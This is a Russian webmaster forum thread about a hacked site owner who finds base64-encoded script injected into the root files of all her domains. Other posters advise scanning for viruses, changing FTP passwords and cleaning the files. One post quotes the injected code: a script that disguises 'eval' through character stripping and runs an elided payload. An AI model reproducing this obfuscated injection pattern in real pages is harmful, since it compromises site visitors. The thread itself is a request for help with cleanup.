Реклама на сайте Advertise with us

Прописался скрипт во все корневые файлы - как пофиксить?

Расширенный поиск по форуму
 
Новая тема Новая тема   
Автор
Поиск в теме:



С нами с 09.08.05
Сообщения: 54
Рейтинг: 82

Ссылка на сообщениеДобавлено: 18/12/08 в 22:37       Ответить с цитатойцитата 

Господа, помогите разобраться с проблемой.
Обнаружилось, что не могу зайти в админку блога - пустая страница и все.
Стала смотреть код, проверять другие блоги, проверять не_только блоги - на всех доменах в корневых файлах появился скрипт, в 64битной кодировке.
Начало "
Код:
Content-Type: text/plain; charset="windows-1251"; name="file3.txt"
Content-transfer-encoding: base64
" и дальше - огромная строка символов.
Черт, никогда такое не встречала.. ч делать? Тупо перебрать все фаылй и удалить кусок кода - заново появится, на одном проверила.
Где копать? icon_cry.gif

0
 

php

С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410


Передовик Master-X (16.01.2010)
Ссылка на сообщениеДобавлено: 18/12/08 в 22:43       Ответить с цитатойцитата 

какой скрипт? в какой кодировке? чета как то хз.. маловато инфы если честно icon_rolleyes.gif

IPhosters.com - любые решения для Вас (виртуалы от $4.99, vps от $11.99, дедики от $95)

0
 



С нами с 14.10.02
Сообщения: 462
Рейтинг: 727

Ссылка на сообщениеДобавлено: 18/12/08 в 22:54       Ответить с цитатойцитата 

Срочно проверить комп на вирусы и поменять пароли на FTP в первую очередь. Потом вручную или скриптом проверить все файлы и вычистить всю дрянь.

0
 



С нами с 09.08.05
Сообщения: 54
Рейтинг: 82

Ссылка на сообщениеДобавлено: 18/12/08 в 22:56       Ответить с цитатойцитата 

Почти все - в 64битной колировке, человеческий вид Штирлиц показал.
Вот то что в хтмл сидит

Код:
<div id='x08d190606e1c4db62d91c48b4f6c62641'><script>var jQuery = eval('wziznMdzoAwW.YeYvYaMlz'.replace(/[zAMWY]/g, ''));
jQuery('ТУТ ООЧЕНЬ ДЛИННАЯ СТРОКА');</script></div>


один и тот же везде

0
 



С нами с 09.08.05
Сообщения: 54
Рейтинг: 82

Ссылка на сообщениеДобавлено: 18/12/08 в 23:00       Ответить с цитатойцитата 

Axel-B писал:
Срочно проверить комп на вирусы и поменять пароли на FTP в первую очередь. Потом вручную или скриптом проверить все файлы и вычистить всю дрянь.


уже проверяется.
сменено.
удалить из страниц - это все? дополнительных действий никаких?

0
 



С нами с 14.10.02
Сообщения: 462
Рейтинг: 727

Ссылка на сообщениеДобавлено: 18/12/08 в 23:18       Ответить с цитатойцитата 

В моем случае не понадобилось, в твоем не знаю. Посмотри, может где файлы какие подозрительные появились (скрипты). Не помешает хостеру стукнуть, чтоб они посмотрели каким образом изменялись файлы.

3
 
Новая тема Новая тема   

Текстовая реклама в форме ответа
Заголовок и до четырех строчек текста
Длина текста до 350 символов
Купить рекламу в этом месте!


Перейти:  



Спонсор раздела Стань спонсором этого раздела!

Реклама на сайте Advertise with us

Опросы

Рецепт новогоднего блюда 2022



Обсудите на форуме обсудить (11)
все опросы »